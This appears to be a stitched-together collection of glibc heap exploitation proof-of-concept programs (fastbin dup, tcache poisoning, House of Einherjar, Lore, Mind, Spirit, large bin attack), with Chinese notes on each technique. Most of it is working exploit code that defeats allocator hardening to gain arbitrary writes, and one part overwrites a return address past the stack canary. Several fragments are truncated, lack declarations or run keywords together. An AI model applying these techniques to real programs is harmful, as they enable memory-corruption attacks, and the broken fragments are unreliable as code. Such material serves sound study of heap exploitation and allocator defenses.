printf("Now, we can free %p again, since it's not the head of the free list.\n", a); free(a);
printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a); a = calloc(1, 8); b = calloc(1, 8); c = calloc(1, 8); printf("1st calloc(1, 8): %p\n", a); printf("2nd calloc(1, 8): %p\n", b); printf("3rd calloc(1, 8): %p\n", c);
intmain() { printf("This technique will make use of malloc_consolidate and a double free to gain a duplication in the tcache.\n"); printf("Lets prepare to fill up the tcache in order to force fastbin usage...\n\n");
void *ptr[7];
for(int i = 0; i < 7; i++) ptr[i] = malloc(0x40);
void* p1 = malloc(0x40); printf("Allocate another chunk of the same size p1=%p \n", p1);
printf("Fill up the tcache...\n"); for(int i = 0; i < 7; i++) free(ptr[i]);
printf("Now freeing p1 will add it to the fastbin.\n\n"); free(p1);
printf("To trigger malloc_consolidate we need to allocate a chunk with large chunk size (>= 0x400)\n"); printf("which corresponds to request size >= 0x3f0. We will request 0x400 bytes, which will gives us\n"); printf("a tcache-sized chunk with chunk size 0x410 "); void* p2 = malloc(CHUNK_SIZE);
printf("p2=%p.\n", p2);
printf("\nFirst, malloc_consolidate will merge the fast chunk p1 with top.\n"); printf("Then, p2 is allocated from top since there is no free chunk bigger (or equal) than it. Thus, p1 = p2.\n");
assert(p1 == p2);
printf("We will double free p1, which now points to the 0x410 chunk we just allocated (p2).\n\n"); free(p1); // vulnerability (double free) printf("It is now in the tcache (or merged with top if we had initially chosen a chunk size > 0x410).\n");
printf("So p1 is double freed, and p2 hasn't been freed although it now points to a free chunk.\n");
printf("We will request 0x400 bytes. This will give us the 0x410 chunk that's currently in\n"); printf("the tcache bin. p2 and p1 will still be pointing to it.\n"); void *p3 = malloc(CHUNK_SIZE);
assert(p3 == p2);
printf("We now have two pointers (p2 and p3) that haven't been directly freed\n"); printf("and both point to the same tcache sized chunk. p2=%p p3=%p\n", p2, p3); printf("We have achieved duplication!\n\n");
printf("Note: This duplication would have also worked with a larger chunk size, the chunks would\n"); printf("have behaved the same, just being taken from the top instead of from the tcache bin.\n"); printf("This is pretty cool because it is usually difficult to duplicate large sized chunks\n"); printf("because they are resistant to direct double free's due to their PREV_INUSE check.\n");
intmain() { fprintf(stderr, "This file extends on fastbin_dup.c by tricking calloc into\n" "returning a pointer to a controlled location (in this case, the stack).\n");
fprintf(stderr,"Fill up tcache first.\n");
void *ptrs[7];
for (int i=0; i<7; i++) { ptrs[i] = malloc(8); } for (int i=0; i<7; i++) { free(ptrs[i]); }
unsignedlonglong stack_var;
fprintf(stderr, "The address we want calloc() to return is %p.\n", 8+(char *)&stack_var);
fprintf(stderr, "Allocating 3 buffers.\n"); int *a = calloc(1,8); int *b = calloc(1,8); int *c = calloc(1,8);
//Calling free(a) twice renders the program vulnerable to Double Free
fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a); free(a);
fprintf(stderr, "Now the free list has [ %p, %p, %p ]. " "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a); unsignedlonglong *d = calloc(1,8);
fprintf(stderr, "1st calloc(1,8): %p\n", d); fprintf(stderr, "2nd calloc(1,8): %p\n", calloc(1,8)); fprintf(stderr, "Now the free list has [ %p ].\n", a); fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n" "so now we are writing a fake free size (in this case, 0x20) to the stack,\n" "so that calloc will think there is a free chunk there and agree to\n" "return a pointer to it.\n", a); stack_var = 0x20;
fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a); /*VULNERABILITY*/ *d = (unsignedlonglong) (((char*)&stack_var) - sizeof(d)); /*VULNERABILITY*/
fprintf(stderr, "3rd calloc(1,8): %p, putting the stack address on the free list\n", calloc(1,8));
printf( "\n" "This attack is intended to have a similar effect to the unsorted_bin_attack,\n" "except it works with a small allocation size (allocsize <= 0x78).\n" "The goal is to set things up so that a call to malloc(allocsize) will write\n" "a large unsigned value to the stack.\n\n" );
// Allocate 14 times so that we can free later. char* ptrs[14]; size_t i; for (i = 0; i < 14; i++) { ptrs[i] = malloc(allocsize); }
printf( "First we need to free(allocsize) at least 7 times to fill the tcache.\n" "(More than 7 times works fine too.)\n\n" );
// Fill the tcache. for (i = 0; i < 7; i++) { free(ptrs[i]); }
char* victim = ptrs[7]; printf( "The next pointer that we free is the chunk that we're going to corrupt: %p\n" "It doesn't matter if we corrupt it now or later. Because the tcache is\n" "already full, it will go in the fastbin.\n\n", victim ); free(victim);
printf( "Next we need to free between 1 and 6 more pointers. These will also go\n" "in the fastbin. If the stack address that we want to overwrite is not zero\n" "then we need to free exactly 6 more pointers, otherwise the attack will\n" "cause a segmentation fault. But if the value on the stack is zero then\n" "a single free is sufficient.\n\n" );
// Fill the fastbin. for (i = 8; i < 14; i++) { free(ptrs[i]); }
// Create an array on the stack and initialize it with garbage. size_t stack_var[6]; memset(stack_var, 0xcd, sizeof(stack_var));
printf( "The stack address that we intend to target: %p\n" "It's current value is %p\n", &stack_var[2], (char*)stack_var[2] );
printf( "Now we use a vulnerability such as a buffer overflow or a use-after-free\n" "to overwrite the next pointer at address %p\n\n", victim );
//------------VULNERABILITY-----------
// Overwrite linked list pointer in victim. *(size_t**)victim = &stack_var[0];
//------------------------------------
printf( "The next step is to malloc(allocsize) 7 times to empty the tcache.\n\n" );
// Empty tcache. for (i = 0; i < 7; i++) { ptrs[i] = malloc(allocsize); }
printf( "Let's just print the contents of our array on the stack now,\n" "to show that it hasn't been modified yet.\n\n" );
for (i = 0; i < 6; i++) { printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]); }
intmain() { /* * This attack should bypass the restriction introduced in * https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d * 就是2.29新引入的key机制,检查tcache_double * If the libc does not include the restriction, you can simply double free the victim and do a * simple tcache poisoning * And thanks to @anton00b and @subwire for the weird name of this technique */
// disable buffering so _IO_FILE does not interfere with our heap setbuf(stdin, NULL); setbuf(stdout, NULL);
// introduction puts("This file demonstrates a powerful tcache poisoning attack by tricking malloc into"); puts("returning a pointer to an arbitrary location (in this demo, the stack)."); puts("This attack only relies on double free.\n");
// prepare the target intptr_t stack_var[4]; puts("The address we want malloc() to return, namely,"); printf("the target address is %p.\n\n", stack_var);
// prepare heap layout puts("Preparing heap layout"); puts("Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later."); intptr_t *x[7]; for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){ x[i] = malloc(0x100); } puts("Allocating a chunk for later consolidation"); intptr_t *prev = malloc(0x100); puts("Allocating the victim chunk."); intptr_t *a = malloc(0x100); printf("malloc(0x100): a=%p.\n", a); puts("Allocating a padding to prevent consolidation.\n"); malloc(0x10); // cause chunk overlapping puts("Now we are able to cause chunk overlapping"); puts("Step 1: fill up tcache list"); for(int i=0; i<7; i++){ free(x[i]); } puts("Step 2: free the victim chunk so it will be added to unsorted bin"); free(a); puts("Step 3: free the previous chunk and make it consolidate with the victim chunk."); free(prev); puts("Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\n"); malloc(0x100); /*VULNERABILITY*/ free(a);// a is already freed /*VULNERABILITY*/ // simple tcache poisoning puts("Launch tcache poisoning"); puts("Now the victim is contained in a larger freed chunk, we can do a simple tcache poisoning by using overlapped chunk"); intptr_t *b = malloc(0x120); puts("We simply overwrite victim's fwd pointer"); b[0x120/8-2] = (long)stack_var; // take target out puts("Now we can cash out the target chunk."); malloc(0x100); intptr_t *c = malloc(0x100); printf("The new chunk is at %p\n", c); // sanity check assert(c==stack_var); printf("Got control on target/stack!\n\n"); // note puts("Note:"); puts("And the wonderful thing about this exploitation is that: you can free b, victim again and modify the fwd pointer of victim"); puts("In that case, once you have done this exploitation, you can have many arbitary writes very easily.");
intmain() { /* * This modification to The House of Enherjar, made by Huascar Tejeda - @htejeda, works with the tcache-option enabled on glibc-2.31. * The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc(). * It has the additional requirement of a heap leak. * * After filling the tcache list to bypass the restriction of consolidating with a fake chunk, * we target the unsorted bin (instead of the small bin) by creating the fake chunk in the heap. * The following restriction for normal bins won't allow us to create chunks bigger than the memory * allocated from the system in this arena: * * https://sourceware.org/git/?p=glibc.git;a=commit;f=malloc/malloc.c;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c */
setbuf(stdin, NULL); setbuf(stdout, NULL);
printf("Welcome to House of Einherjar 2!\n"); printf("Tested on Ubuntu 20.04 64bit (glibc-2.31).\n"); printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");
printf("This file demonstrates a tcache poisoning attack by tricking malloc into\n" "returning a pointer to an arbitrary location (in this case, the stack).\n");
// prepare the target intptr_t stack_var[4]; printf("\nThe address we want malloc() to return is %p.\n", (char *) &stack_var);
printf("\nWe allocate 0x38 bytes for 'a' and use it to create a fake chunk\n"); intptr_t *a = malloc(0x38);
// create a fake chunk printf("\nWe create a fake chunk preferably before the chunk(s) we want to overlap, and we must know its address.\n"); printf("We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n");
printf("\nWe allocate 0x28 bytes for 'b'.\n" "This chunk will be used to overflow 'b' with a single null byte into the metadata of 'c'\n" "After this chunk is overlapped, it can be freed and used to launch a tcache poisoning attack.\n"); uint8_t *b = (uint8_t *) malloc(0x28); printf("b: %p\n", b);
int real_b_size = malloc_usable_size(b); printf("Since we want to overflow 'b', we need the 'real' size of 'b' after rounding: %#x\n", real_b_size);
/* In this case it is easier if the chunk size attribute has a least significant byte with * a value of 0x00. The least significant byte of this will be 0x00, because the size of * the chunk includes the amount requested plus some amount required for the metadata. */ printf("\nWe allocate 0xf8 bytes for 'c'.\n"); uint8_t *c = (uint8_t *) malloc(0xf8);
printf("c: %p\n", c);
uint64_t* c_size_ptr = (uint64_t*)(c - 8); // This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit
printf("\nc.size: %#lx\n", *c_size_ptr); printf("c.size is: (0x100) | prev_inuse = 0x101\n");
printf("We overflow 'b' with a single null byte into the metadata of 'c'\n"); b[real_b_size] = 0; printf("c.size: %#lx\n", *c_size_ptr);
printf("It is easier if b.size is a multiple of 0x100 so you " "don't change the size of b, only its prev_inuse bit\n");
// Write a fake prev_size to the end of b printf("\nWe write a fake prev_size to the last %lu bytes of 'b' so that " "it will consolidate with our fake chunk\n", sizeof(size_t)); size_t fake_size = (size_t)((c - sizeof(size_t) * 2) - (uint8_t*) a); printf("Our fake prev_size will be %p - %p = %#lx\n", c - sizeof(size_t) * 2, a, fake_size); *(size_t*) &b[real_b_size-sizeof(size_t)] = fake_size;
// Change the fake chunk's size to reflect c's new prev_size printf("\nMake sure that our fake chunk's size is equal to c's new prev_size.\n"); a[1] = fake_size;
printf("Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", a[1]);
// Now we fill the tcache before we free chunk 'c' to consolidate with our fake chunk printf("\nFill tcache.\n"); intptr_t *x[7]; for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++) { x[i] = malloc(0xf8); }
printf("Now we free 'c' and this will consolidate with our fake chunk since 'c' prev_inuse is not set\n"); free(c); printf("Our fake chunk size is now %#lx (c.size + fake_prev_size)\n", a[1]);
printf("\nNow we can call malloc() and it will begin in our fake chunk\n"); intptr_t *d = malloc(0x158); printf("Next malloc(0x158) is at %p\n", d);
// tcache poisoning printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n" "We have to create and free one more chunk for padding before fd pointer hijacking.\n"); uint8_t *pad = malloc(0x28); free(pad);
printf("\nNow we free chunk 'b' to launch a tcache poisoning attack\n"); free(b); printf("Now the tcache list has [ %p -> %p ].\n", b, pad);
// take target out printf("Now we can cash out the target chunk.\n"); malloc(0x28); intptr_t *e = malloc(0x28); printf("\nThe new chunk is at %p\n", e);
// sanity check assert(e == stack_var); printf("Got control on target/stack!\n\n"); }
漏洞成因
溢出写、off by one、off by null
适用范围
2.23—— 至今
可分配大于处于 unsortedbin 的 chunk
利用原理
利用 off by null 修改掉 chunk 的 size 域的 P 位,绕过 unlink 检查,在堆的后向合并过程中构造出 chunk overlapping。
申请 chunk A、chunk B、chunk C、chunk D,chunk D 用来做 gap,chunk A、chunk C 都要处于 unsortedbin 范围
释放 A,进入 unsortedbin
对 B 写操作的时候存在 off by null,修改了 C 的 P 位
释放 C 的时候,堆后向合并,直接把 A、B、C 三块内存合并为了一个 chunk,并放到了 unsortedbin 里面
读写合并后的大 chunk 可以操作 chunk B 的内容,chunk B 的头
相关技巧
虽然该利用技巧至今仍可以利用,但是需要对 unlink 绕过的条件随着版本的增加有所变化。
最开始的 unlink 的代码是:
1 2 3 4 5 6 7 8 9 10
/* Take a chunk off a bin list */ #define unlink(AV, P, BK, FD) { \ FD = P->fd; \ BK = P->bk; \ if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ malloc_printerr (check_action, "corrupted double-linked list", P, AV); \ else { \ // ..... \ } \ }
/* Take a chunk off a bin list. */ staticvoid unlink_chunk(mstate av, mchunkptr p) { if (chunksize (p) != prev_size (next_chunk (p))) malloc_printerr ("corrupted size vs. prev_size");
mchunkptr fd = p->fd; mchunkptr bk = p->bk;
if (__builtin_expect (fd->bk != p || bk->fd != p, 0)) malloc_printerr ("corrupted double-linked list"); // ...... }
/* Advanced exploitation of the House of Lore - Malloc Maleficarum. This PoC take care also of the glibc hardening of smallbin corruption. [ ... ] else { bck = victim->bk; if (__glibc_unlikely (bck->fd != victim)){ errstr = "malloc(): smallbin double linked list corrupted"; goto errout; } set_inuse_bit_at_offset (victim, nb); bin->bk = bck; bck->fd = bin; [ ... ] */
fprintf(stderr, "\nWelcome to the House of Lore\n"); fprintf(stderr, "This is a revisited version that bypass also the hardening check introduced by glibc malloc\n"); fprintf(stderr, "This is tested against Ubuntu 20.04.2 - 64bit - glibc-2.31\n\n");
fprintf(stderr, "Allocating the victim chunk\n"); intptr_t *victim = malloc(0x100); fprintf(stderr, "Allocated the first small chunk on the heap at %p\n", victim);
fprintf(stderr, "Allocating dummy chunks for using up tcache later\n"); void *dummies[7]; for(int i=0; i<7; i++) dummies[i] = malloc(0x100);
// victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk intptr_t *victim_chunk = victim-2;
fprintf(stderr, "stack_buffer_1 at %p\n", (void*)stack_buffer_1); fprintf(stderr, "stack_buffer_2 at %p\n", (void*)stack_buffer_2);
fprintf(stderr, "Create a fake free-list on the stack\n"); for(int i=0; i<6; i++) { fake_freelist[i][3] = fake_freelist[i+1]; } fake_freelist[6][3] = NULL; fprintf(stderr, "fake free-list at %p\n", fake_freelist);
fprintf(stderr, "Create a fake chunk on the stack\n"); fprintf(stderr, "Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted" "in second to the last malloc, which putting stack address on smallbin list\n"); stack_buffer_1[0] = 0; stack_buffer_1[1] = 0; stack_buffer_1[2] = victim_chunk;
fprintf(stderr, "Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 " "in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake " "chunk on stack"); stack_buffer_1[3] = (intptr_t*)stack_buffer_2; stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
fprintf(stderr, "Set the bck pointer of stack_buffer_2 to the fake free-list in order to prevent crash prevent crash " "introduced by smallbin-to-tcache mechanism\n"); stack_buffer_2[3] = (intptr_t *)fake_freelist[0]; fprintf(stderr, "Allocating another large chunk in order to avoid consolidating the top chunk with" "the small one during the free()\n"); void *p5 = malloc(1000); fprintf(stderr, "Allocated the large chunk on the heap at %p\n", p5);
fprintf(stderr, "Freeing dummy chunk\n"); for(int i=0; i<7; i++) free(dummies[i]); fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim); free((void*)victim);
fprintf(stderr, "\nIn the unsorted bin the victim's fwd and bk pointers are the unsorted bin's header address (libc addresses)\n"); fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]); fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
fprintf(stderr, "Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\n"); fprintf(stderr, "This means that the chunk %p will be inserted in front of the SmallBin\n", victim);
void *p2 = malloc(1200); fprintf(stderr, "The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\n", p2);
fprintf(stderr, "The victim chunk has been sorted and its fwd and bk pointers updated\n"); fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]); fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
//------------VULNERABILITY-----------
fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack
//------------------------------------ fprintf(stderr, "Now take all dummies chunk in tcache out\n"); for(int i=0; i<7; i++) malloc(0x100);
fprintf(stderr, "Now allocating a chunk with size equal to the first one freed\n"); fprintf(stderr, "This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\n");
void *p3 = malloc(0x100);
fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n"); char *p4 = malloc(0x100); fprintf(stderr, "p4 = malloc(0x100)\n");
fprintf(stderr, "\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n", stack_buffer_2[2]);
fprintf(stderr, "\np4 is %p and should be on the stack!\n", p4); // this chunk will be allocated on stack intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
long offset = (long)__builtin_frame_address(0) - (long)p4; memcpy((p4+offset+8), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary
#if USE_TCACHE /* While we're here, if we see other chunks of the same size, stash them in the tcache. */ size_t tc_idx = csize2tidx (nb); if (tcache && tc_idx < mp_.tcache_bins) { mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */ while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = last (bin)) != bin) { if (tc_victim != 0) { bck = tc_victim->bk; set_inuse_bit_at_offset (tc_victim, nb); if (av != &main_arena) set_non_main_arena (tc_victim); bin->bk = bck; bck->fd = bin;
tcache_put (tc_victim, tc_idx); } } } #endif
要么使其满足 tc_victim = last (bin)) == bin、要么使其满足:tcache->counts[tc_idx] ≥ mp_.tcache_count。否则可能会因为非法内存访问使得程序 down 掉。
/* House of Mind - Fastbin Variant ========================== This attack is similar to the original 'House of Mind' in that it uses a fake non-main arena in order to write to a new location. This uses the fastbin for a WRITE-WHERE primitive in the 'fastbin' variant of the original attack though. The original write for this can be found at https://dl.packetstormsecurity.net/papers/attack/MallocMaleficarum.txt with a more recent post (by me) at https://maxwelldulin.com/BlogPost?post=2257705984. By being able to allocate an arbitrary amount of chunks, a single byte overwrite on a chunk size and a memory leak, we can control a super powerful primitive. This could be used in order to write a freed pointer to an arbitrary location (which seems more useful). Or, this could be used as a write-large-value-WHERE primitive (similar to unsortedbin attack). Both are interesting in their own right though but the first option is the most powerful primitive, given the right setting. Malloc chunks have a specified size and this size information special metadata properties (prev_inuse, mmap chunk and non-main arena). The usage of non-main arenas is the focus of this exploit. For more information on this, read https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/. First, we need to understand HOW the non-main arena is known from a chunk. This the 'heap_info' struct: struct _heap_info { mstate ar_ptr; // Arena for this heap. <--- Malloc State pointer struct _heap_info *prev; // Previous heap. size_t size; // Current size in bytes. size_t mprotect_size; // Size in bytes that has been mprotected char pad[-6 * SIZE_SZ & MALLOC_ALIGN_MASK]; // Proper alignment } heap_info; - https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/arena.c#L48 The important thing to note is that the 'malloc_state' within an arena is grabbed from the ar_ptr, which is the FIRST entry of this. Malloc_state == mstate == arena The main arena has a special pointer. However, non-main arenas (mstate) are at the beginning of a heap section. They are grabbed with the following code below, where the user controls the 'ptr' in 'arena_for_chunk': #define heap_for_ptr(ptr) \ ((heap_info *) ((unsigned long) (ptr) & ~(HEAP_MAX_SIZE - 1))) #define arena_for_chunk(ptr) \ (chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena) - https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/arena.c#L127 This macro takes the 'ptr' and subtracts a large value because the 'heap_info' should be at the beginning of this heap section. Then, using this, it can find the 'arena' to use. The idea behind the attack is to use a fake arena to write pointers to locations where they should not go but abusing the 'arena_for_chunk' functionality when freeing a fastbin chunk. This POC does the following things: - Finds a valid arena location for a non-main arena. - Allocates enough heap chunks to get to the non-main arena location where we can control the values of the arena data. - Creates a fake 'heap_info' in order to specify the 'ar_ptr' to be used as the arena later. - Using this fake arena (ar_ptr), we can use the fastbin to write to an unexpected location of the 'ar_ptr' with a heap pointer. Requirements: - A heap leak in order to know where the fake 'heap_info' is located at. - Could be possible to avoid with special spraying techniques - An unlimited amount of allocations - A single byte overflow on the size of a chunk - NEEDS to be possible to put into the fastbin. - So, either NO tcache or the tcache needs to be filled. - The location of the malloc state(ar_ptr) needs to have a value larger than the fastbin size being freed at malloc_state.system_mem otherwise the chunk will be assumed to be invalid. - This can be manually inserted or CAREFULLY done by lining up values in a proper way. - The NEXT chunk, from the one that is being freed, must be a valid size (again, greater than 0x20 and less than malloc_state.system_mem) Random perks: - Can be done MULTIPLE times at the location, with different sized fastbin chunks. - Does not brick malloc, unlike the unsorted bin attack. - Only has three requirements: Infinite allocations, single byte buffer overflowand a heap memory leak. ************************************ Written up by Maxwell Dulin (Strikeout) ************************************ */
intmain(){
printf("House of Mind - Fastbin Variant\n"); puts("=================================="); printf("The goal of this technique is to create a fake arena\n"); printf("at an offset of HEAP_MAX_SIZE\n"); printf("Then, we write to the fastbins when the chunk is freed\n"); printf("This creates a somewhat constrained WRITE-WHERE primitive\n"); // Values for the allocation information. int HEAP_MAX_SIZE = 0x4000000; int MAX_SIZE = (128*1024) - 0x100; // MMap threshold: https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L635
printf("Find initial location of the heap\n"); // The target location of our attack and the fake arena to use uint8_t* fake_arena = malloc(0x1000); uint8_t* target_loc = fake_arena + 0x30;
/* Prepare a valid 'malloc_state' (arena) 'system_mem' to store a fastbin. This is important because the size of a chunk is validated for being too small or too large via the 'system_mem' of the 'malloc_state'. This just needs to be a value larger than our fastbin chunk. */ printf("Set 'system_mem' (offset 0x888) for fake arena\n"); fake_arena[0x888] = 0xFF; fake_arena[0x889] = 0xFF; fake_arena[0x88a] = 0xFF;
printf("Target Memory Address for overwrite: %p\n", target_loc); printf("Must set data at HEAP_MAX_SIZE (0x%x) offset\n", HEAP_MAX_SIZE);
uint64_t* user_mem = malloc(MAX_SIZE); printf("Fake Heap Info struct location: %p\n", fake_heap_info); printf("Allocate until we reach a MAX_HEAP_SIZE offset\n");
/* The fake arena must be at a particular offset on the heap. So, we allocate a bunch of chunks until our next chunk will be in the arena. This value was calculated above. */ while((longlong)user_mem < new_arena_value){ user_mem = malloc(MAX_SIZE); }
// Use this later to trigger craziness printf("Create fastbin sized chunk to be victim of attack\n"); uint64_t* fastbin_chunk = malloc(0x50); // Size of 0x60 uint64_t* chunk_ptr = fastbin_chunk - 2; // Point to chunk instead of mem printf("Fastbin Chunk to overwrite: %p\n", fastbin_chunk);
printf("Fill up the TCache so that the fastbin will be used\n"); // Fill the tcache to make the fastbin to be used later. uint64_t* tcache_chunks[7]; for(int i = 0; i < 7; i++){ tcache_chunks[i] = malloc(0x50); } for(int i = 0; i < 7; i++){ free(tcache_chunks[i]); }
/* Create a FAKE malloc_state pointer for the heap_state This is the 'ar_ptr' of the 'heap_info' struct shown above. This is the first entry in the 'heap_info' struct at offset 0x0 at the heap. We set this to the location where we want to write a value to. The location that gets written to depends on the fastbin chunk size being freed. This will be between an offset of 0x8 and 0x40 bytes. For instance, a chunk with a size of 0x20 would be in the 0th index of fastbinsY struct. When this is written to, we will write to an offset of 8 from the original value written. - https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L1686 */ printf("Setting 'ar_ptr' (our fake arena) in heap_info struct to %p\n", fake_arena); fake_heap_info[0] = (uint64_t) fake_arena; // Setting the fake ar_ptr (arena) printf("Target Write at %p prior to exploitation: 0x%x\n", target_loc, *(target_loc));
/* Set the non-main arena bit on the size. Additionally, we keep the size the same as the original allocation because there is a sanity check on the fastbin (when freeing) that the next chunk has a valid size. When grabbing the non-main arena, it will use our choosen arena! From there, it will write to the fastbin because of the size of the chunk. ///// Vulnerability! Overwriting the chunk size */ printf("Set non-main arena bit on the fastbin chunk\n"); puts("NOTE: This keeps the next chunk size valid because the actual chunk size was never changed\n"); chunk_ptr[1] = 0x60 | 0x4; // Setting the non-main arena bit
//// End vulnerability
/* The offset being written to with the fastbin chunk address depends on the fastbin BEING used and the malloc_state itself. In 2.31, the offset from the beginning of the malloc_state to the fastbinsY array is 0x10. Then, fastbinsY[0x4] is an additional byte offset of 0x20. In total, the writing offset from the arena location is 0x30 bytes. from the arena location to where the write actually occurs. This is a similar concept to bk - 0x10 from the unsorted bin attack. */
printf("When we free the fastbin chunk with the non-main arena bit\n"); printf("set, it will cause our fake 'heap_info' struct to be used.\n"); printf("This will dereference our fake arena location and write\n"); printf("the address of the heap to an offset of the arena pointer.\n");
printf("Trigger the magic by freeing the chunk!\n"); free(fastbin_chunk); // Trigger the madness
// For this particular fastbin chunk size, the offset is 0x28. printf("Target Write at %p: 0x%llx\n", target_loc, *((unsignedlonglong*) (target_loc))); assert(*((unsignedlong *) (target_loc)) != 0); }
puts("This file demonstrates the house of spirit attack."); puts("This attack adds a non-heap pointer into fastbin, thus leading to (nearly) arbitrary write."); puts("Required primitives: known target address, ability to set up the start/end of the target memory");
puts("\nStep 1: Allocate 7 chunks and free them to fill up tcache"); void *chunks[7]; for(int i=0; i<7; i++) { chunks[i] = malloc(0x30); } for(int i=0; i<7; i++) { free(chunks[i]); }
puts("\nStep 2: Prepare the fake chunk"); // This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY) long fake_chunks[10] __attribute__ ((aligned (0x10))); printf("The target fake chunk is at %p\n", fake_chunks); printf("It contains two chunks. The first starts at %p and the second at %p.\n", &fake_chunks[1], &fake_chunks[9]); printf("This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"); puts("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end."); printf("Now set the size of the chunk (%p) to 0x40 so malloc will think it is a valid chunk.\n", &fake_chunks[1]); fake_chunks[1] = 0x40; // this is the size
printf("The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n"); printf("Set the size of the chunk (%p) to 0x1234 so freeing the first chunk can succeed.\n", &fake_chunks[9]); fake_chunks[9] = 0x1234; // nextsize
puts("\nStep 3: Free the first fake chunk"); puts("Note that the address of the fake chunk must be 16-byte aligned.\n"); void *victim = &fake_chunks[2]; free(victim);
puts("\nStep 4: Take out the fake chunk"); printf("Now the next calloc will return our fake chunk at %p!\n", &fake_chunks[2]); printf("malloc can do the trick as well, you just need to do it for 8 times."); void *allocated = calloc(1, 0x30); printf("malloc(0x30): %p, fake chunk: %p\n", allocated, victim);
assert(allocated == victim); }
漏洞成因
堆溢出写
适用范围
2.23—— 至今
利用原理
利用堆溢出,修改 chunk size,伪造出 fake chunk,然后通过堆的释放和排布,控制 fake chunk。house of spirit 的操作思路有很多,比如可以按如下操作进行利用:
申请 chunk A、chunk B、chunk C、chunk D
对 A 写操作的时候溢出,修改 B 的 size 域,使其能包括 chunk C
释放 B,然后把 B 申请回来,再释放 C,则可以通过读写 B 来控制 C 的内容
相关技巧
起初 house of spirit 主要是针对 fastbin,后来引入了 tcachebin 后,也可以使用 tcachebin 版本的 house of spirit。利用方法与 fastbin 场景下类似,注意好不同版本下的检查条件即可。
/* A revisit to large bin attack for after glibc2.30 Relevant code snippet (有关代码片段): if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){ fwd = bck; bck = bck->bk; victim->fd_nextsize = fwd->fd; victim->bk_nextsize = fwd->fd->bk_nextsize; fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; } */
intmain(){ /*Disable IO buffering to prevent stream from interfering with heap*/ setvbuf(stdin,NULL,_IONBF,0); setvbuf(stdout,NULL,_IONBF,0); setvbuf(stderr,NULL,_IONBF,0);
printf("\n\n"); printf("Since glibc2.30, two new checks have been enforced(zhi'x) on large bin chunk insertion\n\n"); printf("Check 1 : \n"); printf("> if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))\n"); printf("> malloc_printerr (\"malloc(): largebin double linked list corrupted (nextsize)\");\n"); printf("Check 2 : \n"); printf("> if (bck->fd != fwd)\n"); printf("> malloc_printerr (\"malloc(): largebin double linked list corrupted (bk)\");\n\n"); printf("This prevents the traditional large bin attack\n"); printf("However, there is still one possible path to trigger large bin attack. The PoC is shown below : \n\n"); printf("====================================================================\n\n");
size_t target = 0; printf("Here is the target we want to overwrite (%p) : %lu\n\n",&target,target); size_t *p1 = malloc(0x428); printf("First, we allocate a large chunk [p1] (%p)\n",p1-2); size_t *g1 = malloc(0x18); printf("And another chunk to prevent consolidate\n");
printf("\n");
